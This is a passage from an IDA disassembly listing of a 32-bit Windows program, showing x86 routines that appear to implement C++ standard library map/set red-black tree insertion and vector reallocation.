al, cl pop edi retn sub_409C4D endp ; =============== S U B R O U T I N E ======================================= sub_409C73 proc near ; CODE XREF: sub_409720+5Ap mov eax, offset loc_41B10D call sub_41AE44 sub esp, 48h cmp dword ptr [esi+8], 5D1745Ch push ebx push edi mov edi, ecx jb short loc_409CBF push offset aMapSetTTooLong ; "map/set<T> too long" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41C2A8 call sub_4107BC loc_409CBF: ; CODE XREF: sub_409C73+18j push dword ptr [ebp+10h] mov eax, [esi+4] push eax push edi push eax call sub_40A86C inc dword ptr [esi+8] mov ebx, eax mov eax, [esi+4] cmp edi, eax jnz short loc_409CE6 mov [eax+4], ebx mov eax, [esi+4] mov [eax], ebx mov eax, [esi+4] jmp short loc_409D04 ; --------------------------------------------------------------------------- loc_409CE6: ; CODE XREF: sub_409C73+64j cmp byte ptr [ebp+0Ch], 0 jz short loc_409CF9 mov [edi], ebx mov eax, [esi+4] cmp edi, [eax] jnz short loc_409D07 mov [eax], ebx jmp short loc_409D07 ; --------------------------------------------------------------------------- loc_409CF9: ; CODE XREF: sub_409C73+77j mov [edi+8], ebx mov eax, [esi+4] cmp edi, [eax+8] jnz short loc_409D07 loc_409D04: ; CODE XREF: sub_409C73+71j mov [eax+8], ebx loc_409D07: ; CODE XREF: sub_409C73+80j ; sub_409C73+84j ... mov edi, ebx lea eax, [ebx+4] jmp loc_409D9B ; --------------------------------------------------------------------------- loc_409D11: ; CODE XREF: sub_409C73+12Ej mov ecx, [eax] mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_409D4F mov edx, [edx+8] cmp byte ptr [edx+38h], 0 jz short loc_409D57 cmp edi, [ecx+8] jnz short loc_409D30 push esi mov edi, ecx call sub_40A7EA loc_409D30: ; CODE XREF: sub_409C73+B3j mov eax, [edi+4] mov byte ptr [eax+38h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+38h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_40A82A jmp short loc_409D98 ; --------------------------------------------------------------------------- loc_409D4F: ; CODE XREF: sub_409C73+A5j mov edx, [edx] cmp byte ptr [edx+38h], 0 jnz short loc_409D6F loc_409D57: ; CODE XREF: sub_409C73+AEj mov byte ptr [ecx+38h], 1 mov byte ptr [edx+38h], 1 mov ecx, [eax] mov ecx, [ecx+4] mov byte ptr [ecx+38h], 0 mov eax, [eax] mov edi, [eax+4] jmp short loc_409D98 ; --------------------------------------------------------------------------- loc_409D6F: ; CODE XREF: sub_409C73+E2j cmp edi, [ecx] jnz short loc_409D7B push esi mov edi, ecx call sub_40A82A loc_409D7B: ; CODE XREF: sub_409C73+FEj mov eax, [edi+4] mov byte ptr [eax+38h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+38h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_40A7EA loc_409D98: ; CODE XREF: sub_409C73+DAj ; sub_409C73+FAj lea eax, [edi+4] loc_409D9B: ; CODE XREF: sub_409C73+99j mov ecx, [eax] cmp byte ptr [ecx+38h], 0 jz loc_409D11 mov eax, [esi+4] mov eax, [eax+4] mov ecx, [ebp-0Ch] mov byte ptr [eax+38h], 1 mov eax, [ebp+8] mov [eax+4], ebx pop edi mov [eax], esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_409C73 endp ; =============== S U B R O U T I N E ======================================= sub_409DC9 proc near ; CODE XREF: sub_409720+72p push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_409DD5 call sub_40DCFC loc_409DD5: ; CODE XREF: sub_409DC9+5j mov eax, [esi+4] cmp [eax+39h], bl jz short loc_409DEA mov eax, [eax+8] mov [esi+4], eax cmp [eax+39h], bl jz short loc_409E26 jmp short loc_409E1C ; --------------------------------------------------------------------------- loc_409DEA: ; CODE XREF: sub_409DC9+12j mov ecx, [eax] cmp [ecx+39h], bl jnz short loc_409E0C jmp short loc_409DF5 ; --------------------------------------------------------------------------- loc_409DF3: ; CODE XREF: sub_409DC9+32j mov ecx, eax loc_409DF5: ; CODE XREF: sub_409DC9+28j mov eax, [ecx+8] cmp [eax+39h], bl jz short loc_409DF3 mov [esi+4], ecx jmp short loc_409E26 ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409DC9+49j mov ecx, [esi+4] cmp ecx, [eax] jnz short loc_409E14 mov [esi+4], eax loc_409E0C: ; CODE XREF: sub_409DC9+26j mov eax, [eax+4] cmp [eax+39h], bl jz short loc_409E02 loc_409E14: ; CODE XREF: sub_409DC9+3Ej mov ecx, [esi+4] cmp [ecx+39h], bl jz short loc_409E23 loc_409E1C: ; CODE XREF: sub_409DC9+1Fj call sub_40DCFC jmp short loc_409E26 ; --------------------------------------------------------------------------- loc_409E23: ; CODE XREF: sub_409DC9+51j mov [esi+4], eax loc_409E26: ; CODE XREF: sub_409DC9+1Dj ; sub_409DC9+37j ... mov eax, esi pop ebx retn sub_409DC9 endp ; =============== S U B R O U T I N E ======================================= sub_409E2A proc near ; CODE XREF: sub_4098BA+4Ap mov eax, offset loc_41B14D call sub_41AE44 sub esp, 44h push ebx push esi mov esi, [ebp+8] push edi lea eax, [ebp-4Ch] mov [ebp-10h], esp push eax call sub_407525 xor ebx, ebx mov [ebp-4], ebx mov ecx, [esi+4] cmp ecx, ebx jz short loc_409E62 mov eax, [esi+0Ch] sub eax, ecx push 38h cdq pop ecx idiv ecx mov ebx, eax loc_409E62: ; CODE XREF: sub_409E2A+29j mov eax, esi call sub_40690A mov edi, 4924924h mov ecx, edi sub ecx, eax cmp ecx, 1 jnb short loc_409E7C call sub_40684D loc_409E7C: ; CODE XREF: sub_409E2A+4Bj mov eax, esi call sub_40690A inc eax cmp ebx, eax jnb loc_409F47 mov eax, ebx shr eax, 1 sub edi, eax cmp edi, ebx jnb short loc_409E9A xor ebx, ebx jmp short loc_409E9C ; --------------------------------------------------------------------------- loc_409E9A: ; CODE XREF: sub_409E2A+6Aj add ebx, eax loc_409E9C: ; CODE XREF: sub_409E2A+6Ej mov eax, esi call sub_40690A inc eax cmp ebx, eax jnb short loc_409EB2 mov eax, esi call sub_40690A mov ebx, eax inc ebx loc_409EB2: ; CODE XREF: sub_409E2A+7Cj mov ecx, ebx call sub_406988 push eax push dword ptr [ebp+10h] mov byte ptr [ebp-4], 1 mov ecx, [esi+4] mov [ebp-14h], eax mov [ebp+8], eax call sub_4071F6 lea ecx, [ebp-4Ch] push ecx push 1 push eax mov [ebp+8], eax call sub_40993D mov ecx, [ebp+10h] push eax push dword ptr [esi+8] mov [ebp+8], eax call sub_4071F6 mov eax, esi call sub_40690A mov edi, eax mov eax, [esi+4] inc edi test eax, eax jz short loc_409F0F push dword ptr [esi+8] call sub_406737 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_409F0F: ; CODE XREF: sub_409E2A+D2j mov eax, [ebp-14h] imul ebx, 38h imul edi, 38h add ebx, eax add edi, eax mov [esi+0Ch], ebx mov [esi+8], edi mov [esi+4], eax jmp loc_409FF9 ; --------------------------------------------------------------------------- loc_409F2A: ; DATA XREF: .vty:00420954o push dword ptr [ebp+8] mov eax, [ebp-14h] call sub_406737 push dword ptr [ebp-14h] call sub_40DD8A pop ecx loc_409F3E: ; CODE XREF: sub_409E2A+196j push 0 push 0 call sub_4107BC loc_409F47: ; CODE XREF: sub_409E2A+5Cj mov ebx, [esi+8] mov edi, [ebp+10h] mov eax, ebx sub eax, edi push 38h cdq pop ecx idiv ecx cmp eax, 1 jnb short loc_409FC5 lea eax, [edi+38h] push eax push ebx mov ecx, edi call sub_4071F6 mov byte ptr [ebp-4], 3 mov ecx, [esi+8] lea eax, [ebp-4Ch] push eax mov eax, ecx sub eax, edi push 38h pop ebx cdq idiv ebx xor edx, edx inc edx sub edx, eax push edx push ecx call sub_40993D and dword ptr [ebp-4], 0 add [esi+8], ebx mov esi, [esi+8] lea ebx, [esi-38h] jmp short loc_409FA5 ; --------------------------------------------------------------------------- loc_409F98: ; CODE XREF: sub_409E2A+17Dj lea eax, [ebp-4Ch] mov esi, edi call sub_4076C2 add edi, 38h loc_409FA5: ; CODE XREF: sub_409E2A+16Cj cmp edi, ebx jnz short loc_409F98 jmp short loc_409FF9 ; --------------------------------------------------------------------------- loc_409FAB: ; DATA XREF: .vty:00420964o mov eax, [ebp+8] mov eax, [eax+8] add eax, 38h push eax mov eax, [ebp+10h] add eax, 38h call sub_406737 jmp loc_409F3E ; --------------------------------------------------------------------------- loc_409FC5: ; CODE XREF: sub_409E2A+130j push ebx lea ecx, [ebx-38h] push ebx mov [ebp+8], ecx call sub_4071F6 mov [esi+8], eax mov eax, [ebp+8] push ebx push edi call sub_40B1BF lea ebx, [edi+38h] cmp edi, ebx pop ecx pop ecx mov esi, edi jz short loc_409FF9 loc_409FEA: ; CODE XREF: sub_409E2A+1CDj lea eax, [ebp-4Ch] call sub_4076C2 add esi, 38h cmp esi, ebx jnz short loc_409FEA loc_409FF9: ; CODE XREF: sub_409E2A+FBj ; sub_409E2A+17Fj ... push 0 push 1 lea ecx, [ebp-30h] call sub_4013C4 push 0 push 1 lea ecx, [ebp-4Ch] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_409E2A endp ; =============== S U B R O U T I N E ======================================= sub_40A022 proc near ; CODE XREF: sub_40996D+4Bp mov eax, offset loc_41B50C call sub_41AE44 sub esp, 34h push ebx push esi mov esi, [ebp+8] push edi lea eax, [ebp-40h] mov [ebp-10h], esp push eax mov edi, ecx call sub_407560 xor edi, edi mov [ebp-4], edi mov ecx, [esi+4] cmp ecx, edi jz short loc_40A05C mov eax, [esi+0Ch] sub eax, ecx push 2Ch cdq pop ecx idiv ecx mov edi, eax loc_40A05C: ; CODE XREF: sub_40A022+2Bj mov eax, esi call sub_406949 mov ebx, 5D1745Dh mov ecx, ebx sub ecx, eax cmp ecx, 1 jnb short loc_40A076 call sub_40684D loc_40A076: ; CODE XREF: sub_40A022+4Dj mov eax, esi call sub_406949 inc eax cmp edi, eax jnb loc_40A141 mov eax, edi shr eax, 1 sub ebx, eax cmp ebx, edi jnb short loc_40A094 xor edi, edi jmp short loc_40A096 ; --------------------------------------------------------------------------- loc_40A094: ; CODE XREF: sub_40A022+6Cj add edi, eax loc_40A096: ; CODE XREF: sub_40A022+70j mov eax, esi call sub_406949 inc eax cmp edi, eax jnb short loc_40A0AC mov eax, esi call sub_406949 mov edi, eax inc edi loc_40A0AC: ; CODE XREF: sub_40A022+7Ej mov ecx, edi call sub_4069D2 push eax push dword ptr [ebp+10h] mov byte ptr [ebp-4], 1 mov ecx, [esi+4] mov [ebp-14h], eax mov [ebp+8], eax call sub_40B203 lea ecx, [ebp-40h] push ecx push 1 push eax mov [ebp+8], eax call sub_4099EC mov ecx, [ebp+10h] push eax push dword ptr [esi+8] mov [ebp+8], eax call sub_40B203 mov eax, esi call sub_406949 mov ebx, eax mov eax, [esi+4] inc ebx test eax, eax jz short loc_40A109 push dword ptr [esi+8] call sub_4067F1 push dword ptr [esi+4] call sub_40DD8A pop ecx loc_40A109: ; CODE XREF: sub_40A022+D4j mov eax, [ebp-14h] imul edi, 2Ch imul ebx, 2Ch add edi, eax add ebx, eax mov [esi+0Ch], edi mov [esi+8], ebx mov [esi+4], eax jmp loc_40A221 ; --------------------------------------------------------------------------- loc_40A124: ; DATA XREF: .vty:00421178o push dword ptr [ebp+8] mov eax, [ebp-14h] call sub_4067F1 push dword ptr [ebp-14h] call sub_40DD8A pop ecx loc_40A138: ; CODE XREF: sub_40A022+1B4j push 0 push 0 call sub_4107BC loc_40A141: ; CODE XREF: sub_40A022+5Ej mov edi, [esi+8] mov ebx, [ebp+10h] mov eax, edi sub eax, ebx push 2Ch cdq pop ecx idiv ecx cmp eax, 1 jnb loc_40A1DB lea eax, [ebx+2Ch] push eax push edi mov ecx, ebx call sub_40B203 mov byte ptr [ebp-4], 3 mov ecx, [esi+8] lea eax, [ebp-40h] push eax mov eax, ecx sub eax, ebx push 2Ch pop edi cdq idiv edi xor edx, edx inc edx sub edx, eax push edx push ecx call sub_4099EC and dword ptr [ebp-4], 0 add [esi+8], edi mov esi, [esi+8] lea edi, [esi-2Ch] cmp ebx, edi mov esi, ebx jz loc_40A221 loc_40A19E: ; CODE XREF: sub_40A022+19Bj push 0FFFFFFFFh push 0 lea eax, [ebp-40h] push eax mov ecx, esi call sub_401315 lea eax, [esi+1Ch] lea ebx, [ebp-24h] call sub_4056BC add esi, 2Ch cmp esi, edi jnz short loc_40A19E jmp short loc_40A221 ; --------------------------------------------------------------------------- loc_40A1C1: ; DATA XREF: .vty:00421188o mov eax, [ebp+8] mov eax, [eax+8] add eax, 2Ch push eax mov eax, [ebp+10h] add eax, 2Ch call sub_4067F1 jmp loc_40A138 ; --------------------------------------------------------------------------- loc_40A1DB: ; CODE XREF: sub_40A022+132j push edi lea ecx, [edi-2Ch] push edi mov [ebp+8], ecx call sub_40B203 mov [esi+8], eax mov eax, [ebp+8] push edi push ebx call sub_40B227 lea edi, [ebx+2Ch] cmp ebx, edi pop ecx pop ecx mov esi, ebx jz short loc_40A221 loc_40A200: ; CODE XREF: sub_40A022+1FDj push 0FFFFFFFFh push 0 lea eax, [ebp-40h] push eax mov ecx, esi call sub_401315 lea eax, [esi+1Ch] lea ebx, [ebp-24h] call sub_4056BC add esi, 2Ch cmp esi, edi jnz short loc_40A200 loc_40A221: ; CODE XREF: sub_40A022+FDj ; sub_40A022+176j ... lea esi, [ebp-24h] call sub_405AAC push 0 push 1 lea ecx, [ebp-40h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_40A022 endp ; =============== S U B R O U T I N E ======================================= sub_40A246 proc near ; CODE XREF: sub_409A1D+4Bp mov eax, offset loc_41B13B call sub_41AE44 sub esp, 20h push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp push dword ptr [ebp+0Ch] lea ecx, [ebp-2Ch] call sub_401C1E xor ebx, ebx mov [ebp-4], ebx mov ecx, [esi+4] cmp ecx, ebx jz short loc_40A280 mov eax, [esi+0Ch] sub eax, ecx push 1Ch cdq pop ecx idiv ecx mov ebx, eax loc_40A280: ; CODE XREF: sub_40A246+2Bj mov eax, esi call sub_4057B6 mov edi, 9249249h mov ecx, edi sub ecx, eax cmp ecx, 1 jnb short loc_40A29A call sub_40684D loc_40A29A: ; CODE XREF: sub_40A246+4Dj mov eax, esi call sub_4057B6 inc eax cmp ebx, eax jnb loc_40A365 mov eax, ebx shr eax, 1 sub edi, eax cmp edi, ebx jnb short loc_40A2B8 xor ebx, ebx jmp short loc_40A2BA ; --------------------------------------------------------------------------- loc_40A2B8: ; CODE XREF: sub_40A246+6Cj add ebx, eax loc_40A2BA: ; CODE XREF: sub_40A246+70j mov eax, esi call sub_4057B6 inc eax cmp ebx, eax jnb short loc_40A2D0 mov eax, esi call sub_4057B6 mov ebx, eax inc ebx loc_40A2D0: ; CODE XREF: sub_40A246+7Ej mov ecx, ebx call sub_405F1C push eax push dword ptr [ebp+14h] mov byte ptr [ebp-4], 1 mov ecx, [esi+4] mov [ebp+0Ch], eax mov [ebp+8], eax call sub_40B26B lea ecx, [ebp-2Ch] push ecx push 1 push eax mov [ebp+8], eax call sub_409A9C mov ecx, [ebp+14h] push eax push dword ptr [esi+8] mov [ebp+8], eax call sub_40B26B mov eax, esi call sub_4057B6 mov edi, eax mov eax, [esi+4] inc edi test eax, eax jz short loc_40A32D push dword ptr [esi+8] call sub_405A8F push dword ptr [esi+4] call sub_40DD8A pop ecx loc_40A32D: ; CODE XREF: sub_40A246+D4j mov eax, [ebp+0Ch] imul ebx, 1Ch imul edi, 1Ch add ebx, eax add edi, eax mov [esi+0Ch], ebx mov [esi+8], edi mov [esi+4], eax jmp loc_40A42E ; --------------------------------------------------------------------------- loc_40A348: ; DATA XREF: .vty:004208C0o push dword ptr [ebp+8] mov eax, [ebp+0Ch] call sub_405A8F push dword ptr [ebp+0Ch] call sub_40DD8A pop ecx loc_40A35C: ; CODE XREF: sub_40A246+19Dj push 0 push 0 call sub_4107BC loc_40A365: ; CODE XREF: sub_40A246+5Ej mov edi, [esi+8] mov ebx, [ebp+14h] mov eax, edi sub eax, ebx push 1Ch cdq pop ecx idiv ecx cmp eax, 1 jnb short loc_40A3E8 lea eax, [ebx+1Ch] push eax push edi mov ecx, ebx call sub_40B26B mov byte ptr [ebp-4], 3 mov ecx, [esi+8] lea eax, [ebp-2Ch] push eax mov eax, ecx sub eax, ebx push 1Ch pop edi cdq idiv edi xor edx, edx inc edx sub edx, eax push edx push ecx call sub_409A9C and dword ptr [ebp-4], 0 add [esi+8], edi mov esi, [esi+8] add esi, 0FFFFFFE4h jmp short loc_40A3C8 ; --------------------------------------------------------------------------- loc_40A3B6: ; CODE XREF: sub_40A246+184j push 0FFFFFFFFh push 0 lea eax, [ebp-2Ch] push eax mov ecx, ebx call sub_401315 add ebx, 1Ch loc_40A3C8: ; CODE XREF: sub_40A246+16Ej cmp ebx, esi jnz short loc_40A3B6 jmp short loc_40A42E ; --------------------------------------------------------------------------- loc_40A3CE: ; DATA XREF: .vty:004208D0o mov eax, [ebp+8] mov eax, [eax+8] add eax, 1Ch push eax mov eax, [ebp+14h] add eax, 1Ch call sub_405A8F jmp loc_40A35C ; --------------------------------------------------------------------------- loc_40A3E8: ; CODE XREF: sub_40A246+132j push edi lea ecx, [edi-1Ch] push edi call sub_40B26B mov [esi+8], eax lea esi, [edi-1Ch] cmp ebx, esi jz short loc_40A40F sub edi, esi loc_40A3FE: ; CODE XREF: sub_40A246+1C7j sub esi, 1Ch lea ecx, [edi+esi] mov eax, esi call sub_40B455 cmp esi, ebx jnz short loc_40A3FE loc_40A40F: ; CODE XREF: sub_40A246+1B4j lea edi, [ebx+1Ch] cmp ebx, edi mov esi, ebx jz short loc_40A42E loc_40A418: ; CODE XREF: sub_40A246+1E6j push 0FFFFFFFFh push 0 lea eax, [ebp-2Ch] push eax mov ecx, esi call sub_401315 add esi, 1Ch cmp esi, edi jnz short loc_40A418 loc_40A42E: ; CODE XREF: sub_40A246+FDj ; sub_40A246+186j ... push 0 push 1 lea ecx, [ebp-2Ch] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_40A246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A44B proc near ; CODE XREF: sub_409ACC+166p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov esi, [ebp+arg_0] mov eax, [esi+4] push edi mov edi, [eax+4] mov [ebp+var_4], eax mov al, 1 mov byte ptr [ebp+var_8], al jmp short loc_40A482 ; --------------------------------------------------------------------------- loc_40A466: ; CODE XREF: sub_40A44B+3Bj mov eax, [ebp+arg_4] lea ecx, [edi+0Ch] mov [ebp+var_4], edi call sub_409C4D test al, al mov byte ptr [ebp+var_8], al jz short loc_40A47F mov edi, [edi] jmp short loc_40A482 ; --------------------------------------------------------------------------- loc_40A47F: ; CODE XREF: sub_40A44B+2Ej mov edi, [edi+8] loc_40A482: ; CODE XREF: sub_40A44B+19j ; sub_40A44B+32j cmp byte ptr [edi+45h], 0 jz short loc_40A466 test al, al mov edi, [ebp+var_4] mov [ebp+var_C], edi mov [ebp+var_10], esi jz short loc_40A4E1 mov eax, [esi+4] mov eax, [eax] mov [ebp+var_18], esi lea edi, [ebp+var_18] lea esi, [ebp+var_10] mov [ebp+var_14], eax call sub_40989F test al, al jz short loc_40A4D3 push [ebp+arg_4] mov esi, [ebp+arg_0] push 1 loc_40A4B7: ; CODE XREF: sub_40A44B+ABj mov ecx, [ebp+var_4] lea eax, [ebp+var_18] push eax call sub_40A5B6 mov ecx, [eax] mov eax, [eax+4] mov [ebx], ecx mov [ebx+4], eax mov byte ptr [ebx+8], 1 jmp short loc_40A504 ; --------------------------------------------------------------------------- loc_40A4D3: ; CODE XREF: sub_40A44B+62j lea esi, [ebp+var_10] call sub_40A8CD mov edi, [ebp+var_C] mov esi, [ebp+arg_0] loc_40A4E1: ; CODE XREF: sub_40A44B+48j mov ecx, [ebp+arg_4] lea eax, [edi+0Ch] call sub_409C4D test al, al jz short loc_40A4F8 push [ebp+arg_4] push [ebp+var_8] jmp short loc_40A4B7 ; --------------------------------------------------------------------------- loc_40A4F8: ; CODE XREF: sub_40A44B+A3j mov eax, [ebp+var_10] mov [ebx], eax mov [ebx+4], edi mov byte ptr [ebx+8], 0 loc_40A504: ; CODE XREF: sub_40A44B+86j pop edi mov eax, ebx pop esi leave retn 8 sub_40A44B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A50C proc near ; CODE XREF: sub_4096B6+1Ap var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 14h mov eax, [ebx+4] mov eax, [eax] push esi push edi lea edi, [ebp+var_C] lea esi, [ebp+arg_4] mov [ebp+var_8], eax mov [ebp+var_C], ebx call sub_40989F test al, al jz short loc_40A593 mov eax, [ebx+4] lea edi, [ebp+var_C] lea esi, [ebp+arg_C] mov [ebp+var_8], eax mov [ebp+var_C], ebx call sub_40989F test al, al jz short loc_40A593 mov eax, [ebx+4] push dword ptr [eax+4] mov ecx, ebx call sub_40B079 mov eax, [ebx+4] mov [eax+4], eax mov eax, [ebx+4] and dword ptr [ebx+8], 0 mov [eax], eax mov eax, [ebx+4] mov [eax+8], eax mov eax, [ebx+4] mov ecx, [eax] mov eax, [ebp+arg_0] mov [eax], ebx jmp short loc_40A5AD ; --------------------------------------------------------------------------- loc_40A574: ; CODE XREF: sub_40A50C+94j mov eax, [ebp+arg_8] mov edi, [ebp+arg_4] lea esi, [ebp+arg_4] mov [ebp+var_8], eax call sub_409852 push [ebp+var_8] lea eax, [ebp+var_14] push edi push eax push ebx call sub_40A92E loc_40A593: ; CODE XREF: sub_40A50C+20j ; sub_40A50C+38j lea edi, [ebp+arg_C] lea esi, [ebp+arg_4] call sub_40989F test al, al jz short loc_40A574 mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [eax], ecx mov ecx, [ebp+arg_8] loc_40A5AD: ; CODE XREF: sub_40A50C+66j pop edi mov [eax+4], ecx pop esi leave retn 14h sub_40A50C endp ; =============== S U B R O U T I N E ======================================= sub_40A5B6 proc near ; CODE XREF: sub_409ACC+25p ; sub_40A44B+73p mov eax, offset loc_41B10D call sub_41AE44 sub esp, 48h cmp dword ptr [esi+8], 4924923h push ebx push edi mov edi, ecx jb short loc_40A602 push offset aMapSetTTooLong ; "map/set<T> too long" lea ecx, [ebp-28h] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_401869 push offset dword_41FEF8 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_41C2A8 call sub_4107BC loc_40A602: ; CODE XREF: sub_40A5B6+18j push dword ptr [ebp+10h] mov eax, [esi+4] push eax push edi push eax call sub_40AC8B inc dword ptr [esi+8] mov ebx, eax mov eax, [esi+4] cmp edi, eax jnz short loc_40A629 mov [eax+4], ebx mov eax, [esi+4] mov [eax], ebx mov eax, [esi+4] jmp short loc_40A647 ; --------------------------------------------------------------------------- loc_40A629: ; CODE XREF: sub_40A5B6+64j cmp byte ptr [ebp+0Ch], 0 jz short loc_40A63C mov [edi], ebx mov eax, [esi+4] cmp edi, [eax] jnz short loc_40A64A mov [eax], ebx jmp short loc_40A64A ; --------------------------------------------------------------------------- loc_40A63C: ; CODE XREF: sub_40A5B6+77j mov [edi+8], ebx mov eax, [esi+4] cmp edi, [eax+8] jnz short loc_40A64A loc_40A647: ; CODE XREF: sub_40A5B6+71j mov [eax+8], ebx loc_40A64A: ; CODE XREF: sub_40A5B6+80j ; sub_40A5B6+84j ... mov edi, ebx lea eax, [ebx+4] jmp loc_40A6DE ; --------------------------------------------------------------------------- loc_40A654: ; CODE XREF: sub_40A5B6+12Ej mov ecx, [eax] mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_40A692 mov edx, [edx+8] cmp byte ptr [edx+44h], 0 jz short loc_40A69A cmp edi, [ecx+8] jnz short loc_40A673 push esi mov edi, ecx call sub_40ABDF loc_40A673: ; CODE XREF: sub_40A5B6+B3j mov eax, [edi+4] mov byte ptr [eax+44h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+44h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_40AC1F jmp short loc_40A6DB ; --------------------------------------------------------------------------- loc_40A692: ; CODE XREF: sub_40A5B6+A5j mov edx, [edx] cmp byte ptr [edx+44h], 0 jnz short loc_40A6B2 loc_40A69A: ; CODE XREF: sub_40A5B6+AEj mov byte ptr [ecx+44h], 1 mov byte ptr [edx+44h], 1 mov ecx, [eax] mov ecx, [ecx+4] mov byte ptr [ecx+44h], 0 mov eax, [eax] mov edi, [eax+4] jmp short loc_40A6DB ; --------------------------------------------------------------------------- loc_40A6B2: ; CODE XREF: sub_40A5B6+E2j cmp edi, [ecx] jnz short loc_40A6BE push esi mov edi, ecx call sub_40AC1F loc_40A6BE: ; CODE XREF: sub_40A5B6+FEj mov eax, [edi+4] mov byte ptr [eax+44h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+44h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_40ABDF loc_40A6DB: ; CODE XREF: sub_40A5B6+DAj ; sub_40A5B6+FAj lea eax, [edi+4] loc_40A6DE: ; CODE XREF: sub_40A5B6+99j mov ecx, [eax] cmp byte ptr [ecx+44h], 0 jz loc_40A654 mov eax, [esi+4] mov eax, [eax+4] mov ecx, [ebp-0Ch] mov byte ptr [eax+44h], 1 mov eax, [ebp+8] mov [eax+4], ebx pop edi mov [eax], esi mov large fs:0, ecx pop ebx leave retn 0Ch sub_40A5B6 endp ; =============== S U B R O U T I N E ======================================= sub_40A70C proc near ; CODE XREF: sub_4089E6+2E5p ; sub_4095C0+18p arg_0 = dword ptr 4 mov eax, [eax+4] push esi mov esi, [eax+4] push edi mov edi, eax jmp short loc_40A731 ; --------------------------------------------------------------------------- loc_40A718: ; CODE XREF: sub_40A70C+29j mov ecx, [esp+8+arg_0] lea eax, [esi+0Ch] call sub_409C4D test al, al jz short loc_40A72D mov esi, [esi+8] jmp short loc_40A731 ; --------------------------------------------------------------------------- loc_40A72D: ; CODE XREF: sub_40A70C+1Aj mov edi, esi mov esi, [esi] loc_40A731: ; CODE XREF: sub_40A70C+Aj ; sub_40A70C+1Fj cmp byte ptr [esi+45h], 0 jz short loc_40A718 mov eax, edi pop edi pop esi retn 4 sub_40A70C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A73E proc near ; CODE XREF: sub_4096EB+19p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [edi+4] sub esp, 14h cmp [ebp+arg_0], 0 push esi mov esi, [eax] jz short loc_40A755 cmp [ebp+arg_0], edi jz short loc_40A75A loc_40A755: ; CODE XREF: sub_40A73E+10j call sub_40DCFC loc_40A75A: ; CODE XREF: sub_40A73E+15j cmp [ebp+arg_4], esi jnz short loc_40A7A2 cmp [ebp+arg_8], 0 mov esi, [edi+4] jz short loc_40A76D cmp [ebp+arg_8], edi jz short loc_40A772 loc_40A76D: ; CODE XREF: sub_40A73E+28j call sub_40DCFC loc_40A772: ; CODE XREF: sub_40A73E+2Dj cmp [ebp+arg_C], esi jnz short loc_40A7A2 mov eax, [edi+4] push dword ptr [eax+4] mov ecx, edi call sub_40B0CB mov eax, [edi+4] mov [eax+4], eax mov eax, [edi+4] and dword ptr [edi+8], 0 mov [eax], eax mov eax, [edi+4] mov [eax+8], eax mov eax, [edi+4] mov eax, [eax] mov [ebx], edi jmp short loc_40A7E0 ; --------------------------------------------------------------------------- loc_40A7A2: ; CODE XREF: sub_40A73E+1Fj ; sub_40A73E+37j ... mov eax, [ebp+arg_0] test eax, eax jz short loc_40A7AE cmp eax, [ebp+arg_8] jz short loc_40A7B3 loc_40A7AE: ; CODE XREF: sub_40A73E+69j call sub_40DCFC loc_40A7B3: ; CODE XREF: sub_40A73E+6Ej mov eax, [ebp+arg_4] cmp eax, [ebp+arg_C] mov ecx, [ebp+arg_0] jz short loc_40A7DE lea esi, [ebp+arg_0] mov [ebp+var_8], ecx mov [ebp+var_4], eax call sub_40B11B push [ebp+var_4] lea eax, [ebp+var_10] push [ebp+var_8] push eax push edi call sub_40ACEC jmp short loc_40A7A2 ; --------------------------------------------------------------------------- loc_40A7DE: ; CODE XREF: sub_40A73E+7Ej mov [ebx], ecx loc_40A7E0: ; CODE XREF: sub_40A73E+62j mov [ebx+4], eax mov eax, ebx pop esi leave retn 10h sub_40A73E endp ; =============== S U B R O U T I N E ======================================= sub_40A7EA proc near ; CODE XREF: sub_409C73+B8p ; sub_409C73+120p ... arg_0 = dword ptr 4 mov eax, [ecx+8] mov edx, [eax] mov [ecx+8], edx mov edx, [eax] cmp byte ptr [edx+39h], 0 jnz short 